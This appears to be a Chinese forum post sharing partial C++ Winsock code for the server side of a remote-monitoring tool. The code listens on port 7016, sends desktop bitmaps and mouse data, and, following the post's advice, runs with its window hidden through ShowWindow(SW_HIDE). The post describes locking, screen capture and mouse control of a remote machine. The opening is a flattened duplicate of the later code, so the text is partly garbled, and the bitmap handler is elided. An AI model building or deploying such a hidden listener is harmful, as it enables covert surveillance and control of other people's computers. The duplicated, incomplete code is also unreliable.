//GetData while(true) { if (!AcceptData())//AcceptData { WSACleanup(); exit(1); } if(!GetData())//GetMesage { //Initialization Winsock if (!InISock()) return 0;
//Connect Winsock if (!ConnectSock())return 0; } //Release Data closesocket(NewSock); } return msg.wParam; }BOOL ConnectSock() { int Status; //Socket ClientSock = socket(AF_INET,SOCK_STREAM,0); if (ClientSock==INVALID_SOCKET) return FALSE; dstclient_addr.sin_family = PF_INET; dstclient_addr.sin_port = htons(7016); dstclient_addr.sin_addr.s_addr = INADDR_ANY;
//BIND Status = bind(ClientSock,(struct sockaddr far *)&dstclient_addr,sizeof(dstclient_addr)); if (Status != 0) return FALSE;
//LISTEN Status = listen(ClientSock,1); if (Status != 0) return FALSE; return TRUE; }BOOL InISock() { //Variable Define int Status; WORD wMajorVersion,wMinorVersion; WORD wVersionReqd; WSADATA lpmyWSAData;
int WSAEventSelect(
SOCKET s,
WSAEVENT hEventObject,
long lNetworkEvents
);
SOCKET ClientSock;
SOCKET NewSock;
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
LPSTR lpCmdLine,int nCmdShow)
{
MSG msg;
//Initialization Winsock
if (!InISock())return 0;
//Connect Winsock
if (!ConnectSock())return 0;
//GetData
while(true)
{
if (!AcceptData())//AcceptData
{
WSACleanup();
exit(1);
}
if(!GetData())//GetMesage
{
//Initialization Winsock
if (!InISock()) return 0;
//Connect Winsock
if (!ConnectSock())return 0;
}
//Release Data
closesocket(NewSock);
}
return msg.wParam;
}BOOL ConnectSock()
{
int Status; //Socket
ClientSock = socket(AF_INET,SOCK_STREAM,0);
if (ClientSock==INVALID_SOCKET)
return FALSE; dstclient_addr.sin_family = PF_INET;
dstclient_addr.sin_port = htons(7016);
dstclient_addr.sin_addr.s_addr = INADDR_ANY;
//BIND
Status = bind(ClientSock,(struct sockaddr far *)&dstclient_addr,sizeof(dstclient_addr));
if (Status != 0)
return FALSE;
//LISTEN
Status = listen(ClientSock,1);
if (Status != 0)
return FALSE;
return TRUE;
}BOOL InISock()
{
//Variable Define
int Status;
WORD wMajorVersion,wMinorVersion;
WORD wVersionReqd;
WSADATA lpmyWSAData;
//InI Winsock
wMajorVersion = MAJOR_VERSION;
wMinorVersion = MINOR_VERSION;
wVersionReqd = MAKEWORD(wMajorVersion,wMinorVersion); //Startup WinSock
Status = WSAStartup(wVersionReqd,&lpmyWSAData);
if (Status != 0)
return FALSE;
return TRUE;
}BOOL AcceptData()
{
//ACCEPT
int len = sizeof(dstclient_addr);
NewSock = accept(ClientSock,(struct sockaddr far *)&dstclient_addr,&len);
if (NewSock < 0)
{
closesocket(ClientSock);
return FALSE;
}
return TRUE;
}
BOOL GetData()
{
//Define Variable
int iMsg,length;
POINT point;
int FALG;
//Send Falg
FALG = US_FLAG;
send(NewSock,(char*)&FALG,sizeof(FALG)+1,MSG_OOB); //Get Message
length = recv(NewSock,(char*)&iMsg,sizeof(iMsg)+1,0);
if (length < 0)
{
//Close Sock
closesocket(NewSock);
closesocket(ClientSock);
return FALSE;
}
//GetMessageData
if (iMsg < 4500) //MouseEvent
{
send(NewSock,(char*)&SysWidth,sizeof(SysWidth)+1,MSG_OOB);
send(NewSock,(char*)&SysHeight,sizeof(SysHeight)+1,MSG_OOB);
point = GetMousePoint();
}
switch(iMsg)
{
case US_DESKTOPBIT: //SendDesktopBitmap
.........
break;
}
return TRUE;
}
别
ShowWindow
直接
ShowWindow(SW_HIDE);
就oK了···············
//Dialog_class Dlg;
//Dlg.DoModal();
该程序包括客户端与服务器端,能对远程计算机进行操作,比如锁定远程计算机,获取屏幕图像,控制鼠标动作等。
http://www.vchelp.net/source/submit/net_monitor.zip其中的一端:就是無窗口,偵聽監控方的指令對被監控機器的操作.
或者你直接進http://vchelp.net/中去下載.